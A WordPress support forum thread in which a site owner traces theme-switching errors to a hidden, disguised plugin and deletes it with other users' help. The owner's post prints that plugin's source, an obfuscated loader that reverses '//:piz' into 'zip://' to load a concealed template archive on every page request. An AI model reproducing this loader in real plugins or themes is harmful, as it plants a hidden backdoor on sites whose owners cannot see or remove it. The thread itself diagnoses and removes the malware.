Migration blow-up: failed to open stream … template.php

[scrambler]

Also you may need to increase your Memory limits.

I see the following in your sysinfo

WP_MEMORY_LIMIT: 40M

WP_MAX_MEMORY_LIMIT: -1

Personally I run 512M on both of these

[ssm]

Thanks @weaver. Here is a recap of testing:

1. Still fails on all combos except for reverting back to Pro II.
2. Ever renaming the Pro II folder to force fallback produces the error messages below.
3. Have not used “smart menus”.
4. The dropdown menus used to work, but we noticed them failing on other site after WP 6.x. It I could get dropdown menus working again, I wouldn’t need to migrate to Xtreme.
5. All new testing was on WP 6.1.

 

<b>Warning</b>: require_once(zip://#template): failed to open stream: operation failed in <b>/homepages/37/d146050845/htdocs/ssm-wp/wp-includes/template.php</b> on line <b>783</b>

<b>Fatal error</b>: require_once(): Failed opening required ‘zip://#template’ (include_path=’.:/usr/lib/php7.4′) in <b>/homepages/37/d146050845/htdocs/ssm-wp/wp-includes/template.php</b> on line <b>783</b>

[Weaver]

I’ve never heard of anything like not being able to switch  theme. Never.

I have no idea what is broken on your site, but something is. I just can’t imagine what. Corrupted database, perhaps. Maybe bad .htaccess.

Along with the fact the site does NOT seem to be STANDARD WP 6.1. If it is, then there is a plugin blocking that info. Many of the standard elements of WP 6.1 missing, there are no references to supporting blocks or block themes. All that code is found in versions of WP 6.1 and it is just not there.

I can’t tell what version of WP you are actually running, but I’m fairly sure that is somehow related to your issue. Maybe you’ve somehow created some mixed up version of an old WP vs the latest WP. You need to figure out why your site is not loading the latest version of WP, or disable whatever plugin you have that is preventing that.

You also have a plugin listed as

Weaver Ii Pro Theme Template: author: (undefined), version: 6.0.1

What is that? Certainly nothing I can remember ever supporting or creating.

So again, I say you need to disable all of your plugins before trying to switch themes.

 

 

 

[Weaver]

I can confirm that the menu effects are broken. Uncheck Menu Bar Effects in Menu Bars Extras on the Menu tab.

[ssm]

Thanks again, @weaver. Some data points:

1. During debug I updated to 6.1.1 using the built-in WP update mechanism (the sysinfo you are reading is from the start of this thread … updated sysinfo below). If there are missing pieces, I’d love to know what they are because I can’t imaging WordPress.org delivering an incomplete package.
2. Unchecking “Menu Bar Effects” got the dropdowns to work again. I’ll play a bit tomorrow to see if I can get the stylking back.
3. The “Weaver ii Pro Theme Template” has me worried as it does not appear on the plugin list in the WP admin interface (and thus can’t be deactivated). I see the folder “weaver-ii-pro-template-plugin” in the plugins directory. It has one php file, the contents of which are:

<?php

/**
* Plugin Name: Weaver Ii Pro Theme Template
* Description: Weaver Ii Pro theme template loader plugin.
* Version: 6.0.1
* License: GPL v2 or later
* License URI: https://www.gnu.org/licenses/gpl-2.0.html
*/

function wp_weaver_ii_pro_theme_template_load() {

load_template( strrev( "//:piz" ) . locate_template( "weaver-ii-pro.template" ) . "#template", true );

}

add_action( 'wp_loaded', 'wp_weaver_ii_pro_theme_template_load' );

 

NEW SYSINFO:

### wp-core ###

version: 6.1.1
site_language: en_US
user_language: en_US
timezone: -08:00
permalink: /marketing-memos-blog-xxx/%postname%/
https_status: false
multisite: false
user_registration: 0
blog_public: 1
default_comment_status: closed
environment_type: production
user_count: 408
dotorg_communication: true

### wp-paths-sizes ###

wordpress_path: /homepages/37/d146050845/htdocs/ssm-wp
wordpress_size: 86.70 MB (90908083 bytes)
uploads_path: /homepages/37/d146050845/htdocs/ssm-wp/wp-content/uploads
uploads_size: 123.51 MB (129509514 bytes)
themes_path: /homepages/37/d146050845/htdocs/ssm-wp/wp-content/themes
themes_size: 30.55 MB (32038888 bytes)
plugins_path: /homepages/37/d146050845/htdocs/ssm-wp/wp-content/plugins
plugins_size: 84.52 MB (88626114 bytes)
database_size: 532.69 MB (558563328 bytes)
total_size: 857.97 MB (899645927 bytes)

### wp-active-theme ###

name: Weaver II Pro (weaver-ii-pro)
version: 2.2.4
author: Bruce Wampler
author_website: http://weavertheme.com/about
parent_theme: none
theme_features: core-block-patterns, woocommerce, widgets-block-editor, editor-style, automatic-feed-links, menus, post-formats, post-thumbnails, custom-header, custom-background, infinite-scroll, widgets
theme_path: /homepages/37/d146050845/htdocs/ssm-wp/wp-content/themes/weaver-ii-pro

### wp-themes-inactive (14) ###

Alexandria: version: 2.0.11, author: ThemeAlley.com (latest version: 2.5.6)
Weaver II Child Demo: version: 1.2, author: Bruce Wampler
Twenty Eleven: version: 1.7, author: the WordPress team (latest version: 4.2)
Twenty Fourteen: version: 1.0, author: the WordPress team (latest version: 3.5)
Twenty Nineteen: version: 1.3, author: the WordPress team (latest version: 2.4)
Twenty Seventeen: version: 1.4, author: the WordPress team (latest version: 3.1)
Twenty Sixteen: version: 1.4, author: the WordPress team (latest version: 2.8)
Twenty Thirteen: version: 1.1, author: the WordPress team (latest version: 3.7)
Twenty Twelve: version: 1.3, author: the WordPress team (latest version: 3.8)
Twenty Twenty: version: 2.0, author: the WordPress team (latest version: 2.1)
Twenty Twenty-One: version: 1.6, author: the WordPress team (latest version: 1.7)
Twenty Twenty-Three: version: 1.0, author: the WordPress team
Twenty Twenty-Two: version: 1.3, author: the WordPress team
Weaver Xtreme: version: 5.0.7, author: Bruce Wampler

### wp-plugins-active (18) ###

Advanced Editor Tools (previously TinyMCE Advanced): version: 5.6.0, author: Automattic
Akismet Anti-Spam: version: 5.0.2, author: Automattic
All in One SEO: version: 4.2.8, author: All in One SEO Team
Bounce Handler Mailpoet: version: 1.3.21, author: Tikweb
Disable Comments: version: 2.4.2, author: WPDeveloper
MailPoet: version: 4.3.0, author: MailPoet
MaxButtons: version: 9.5, author: Max Foundry
MetaSlider: version: 3.28.2, author: MetaSlider
Ninja Forms: version: 3.6.14, author: Saturday Drive
Raw HTML: version: 1.6.3, author: Janis Elsts
Regenerate Thumbnails: version: 3.1.5, author: Alex Mills (Viper007Bond)
Relevanssi: version: 4.18.2, author: Mikko Saari
Simp Modal Window: version: 1.6, author: Shahzad Anjum
Velvet Blues Update URLs: version: 3.2.10, author: VelvetBlues.com
Weaver Ii Pro Theme Template: author: (undefined), version: 6.0.1
Weaver II Theme Extras: version: 2.3.1, author: Bruce Wampler
Weaver II to Weaver Xtreme: version: 1.1, author: Bruce Wampler
WP Captcha Free: version: 0.9.1, author: iDope

### wp-plugins-inactive (2) ###

Weaver Themes Shortcode Compatibility: version: 1.0.4, author: Bruce Wampler
Weaver Xtreme Theme Support: version: 5.0.2, author: wpweaver

### wp-media ###

image_editor: WP_Image_Editor_GD
imagick_module_version: Not available
imagemagick_version: Not available
imagick_version: Not available
file_uploads: File uploads is turned off
post_max_size: 64M
upload_max_filesize: 64M
max_effective_size: 64 MB
max_file_uploads: 20
gd_version: 2.2.5
gd_formats: GIF, JPEG, PNG, WebP, BMP, XPM
ghostscript_version: 9.27

### wp-server ###

server_architecture: Linux 4.4.302-icpu-088 x86_64
httpd_software: Apache
php_version: 7.4.33 64bit
php_sapi: cgi-fcgi
max_input_variables: 5000
time_limit: 50000
memory_limit: -1
max_input_time: -1
upload_max_filesize: 64M
php_post_max_size: 64M
curl_version: 7.64.0 OpenSSL/1.1.1n
suhosin: false
imagick_availability: false
pretty_permalinks: true
htaccess_extra_rules: true

### wp-database ###

extension: mysqli
server_version: 5.7.38-log
client_version: mysqlnd 7.4.33
max_allowed_packet: 67108864
max_connections: 3000

### wp-constants ###

WP_HOME: undefined
WP_SITEURL: undefined
WP_CONTENT_DIR: /homepages/37/d146050845/htdocs/ssm-wp/wp-content
WP_PLUGIN_DIR: /homepages/37/d146050845/htdocs/ssm-wp/wp-content/plugins
WP_MEMORY_LIMIT: 512M
WP_MAX_MEMORY_LIMIT: 512M
WP_DEBUG: false
WP_DEBUG_DISPLAY: true
WP_DEBUG_LOG: false
SCRIPT_DEBUG: false
WP_CACHE: false
CONCATENATE_SCRIPTS: undefined
COMPRESS_SCRIPTS: undefined
COMPRESS_CSS: undefined
WP_ENVIRONMENT_TYPE: Undefined
DB_CHARSET: utf8
DB_COLLATE: undefined

### wp-filesystem ###

wordpress: writable
wp-content: writable
uploads: writable
plugins: writable
themes: writable

### aioseo (1) ###

noindexed: Author Archives, Date Archives, Search Page, Categories (category)

[scrambler]

A hack may be ?

[ssm]

Yes, @scrambler. Good possibility since the several sites we have under one Ionos account have been subject to hack attacks.

 

Using this guide (https://www.veerotech.net/kb/how-to-deactivate-plugins-from-the-wordpress-database/) and the “active_plugins” option in the database, it appears that this unknown and invisible plugin could be deactiveated vy:

 

1. Changing “a:18” to “a:17” and …
2. Removing the substring “i:14;s:63:”weaver-ii-pro-template-plugin/weaver-ii-pro-template-plugin.php”;”

 

But this seems spooky to me, so I’m wondering if you have ever (a) experienced this kind of assumed hack and (b) if this is the best approach?

a:18:{i:0;s:19:”akismet/akismet.php”;i:1;s:43:”all-in-one-seo-pack/all_in_one_seo_pack.php”;i:2;s:51:”bounce-handler-mailpoet/bounce-handler-mailpoet.php”;i:3;s:37:”disable-comments/disable-comments.php”;i:4;s:21:”mailpoet/mailpoet.php”;i:5;s:25:”maxbuttons/maxbuttons.php”;i:6;s:23:”ml-slider/ml-slider.php”;i:7;s:27:”ninja-forms/ninja-forms.php”;i:8;s:21:”raw-html/raw_html.php”;i:9;s:47:”regenerate-thumbnails/regenerate-thumbnails.php”;i:10;s:25:”relevanssi/relevanssi.php”;i:11;s:39:”simp-modal-window/simp-modal-window.php”;i:12;s:37:”tinymce-advanced/tinymce-advanced.php”;i:13;s:53:”velvet-blues-update-urls/velvet-blues-update-urls.php”;i:14;s:63:”weaver-ii-pro-template-plugin/weaver-ii-pro-template-plugin.php”;i:15;s:49:”weaver-ii-theme-extras/weaver-ii-theme-extras.php”;i:16;s:37:”weaver-ii-to-weaver-xtreme/wii2wx.php”;i:17;s:32:”wp-captcha-free/captcha-free.php”;}

 

 

[Weaver]

Ah, I think we’ve found it. I would say that file is indeed a hack of some kind. Never seen it before, and it may have other parts.

Normally simply deleting a plugin source file in the /plugins directory will disable and delete the plugin – WP should clean the database up automatically if a plugin has been deleted. But there may be other code in other plugins that might restore it some how, which might mean killing it directy in the database. The easiest think is to just delete it, I think.

You could also likely edit the hack file directly and delete the load_template line and the add_action line. I don’t know exactly what that code might be trying to do, but what it does is try to load a template from some device called “zip:” before any other part of WP get loaded. So it is at the least breaking any calls to WP core that would change a theme. That it is called weaver-ii-anything seems to be a coincidence as it has nothing to do with Weaver II. It is possible that it has been there a long time.

The other thing to then do is install Wordfence (or equivalent) and run a check from it. I can compare the entire WP filesystem to see if there are any unknown files there. It compares all the files with the current set of files in your WP release, and I think also can check plugins from the WP plugin repository. But Wordfence has found hack files on one of my sites once. That should detect most any other hack file.

 

[Weaver]

There is no such plugin (anymore) called simp modal plugin, so that is suspect, too.

[hkp]

@Weaver

For me, http://www.siliconstrat.com/ | http://siliconstrat.com/ | https://www.siliconstrat.com/ | https://siliconstrat.com/ all resolve correctly and all menus work correctly when the site is live using weaver-ii-pro.

I think the errors we see are during @ssm’s testing.

@ssm

Have you tried to disable your “googleadservices” before doing any other work on the site update?

googleadservices have had serious malfunction issues in the recent past.  You can go to Advanced Options, then Repair, or if that fails, Reset, after the Weaver updates are installed and functioning.

 

[Weaver]

@hkp:

I found out that the “Menu Bar Effects” W II Pro option was broken – don’t know when that happened, but those are JavaScript controlled, so likely a JS issue. I think ssm was able turn that option off, and the menus work again.

[ssm]

Many thanks to @weaver, @scrambler and @hkp. The problem appears to be resolved, and I apologize for starting a thread which appears to not be a Weaver problem.

Some closing (I hope) notes:

1. When I renamed the plugins/weaver-ii-pro-template-plugin folder, the crash on “live preview” for all themes went away.
2. Doing so also made it appear in the WP admin console (it had been invisible before).
3. So, I renamed it back, deleted it through the WP admin console, and everything seems stable.
4. My only regret is that disabling “menu effects” in Weaver II Pro does impact the appearance of the site, so I’ll still migrate to Xtreme.

You may want to make a note of the suspect plugin and its code as there is a good chance someone used Weaver II as a backdoor for malware, or maybe just as a dodge to avert attention from a bogus plugin.

If we can, let’s leave this thread open for a week or two just in case.

[scrambler]

Thanks for the report.

May still want to install Wordfence 🙂

[Author]

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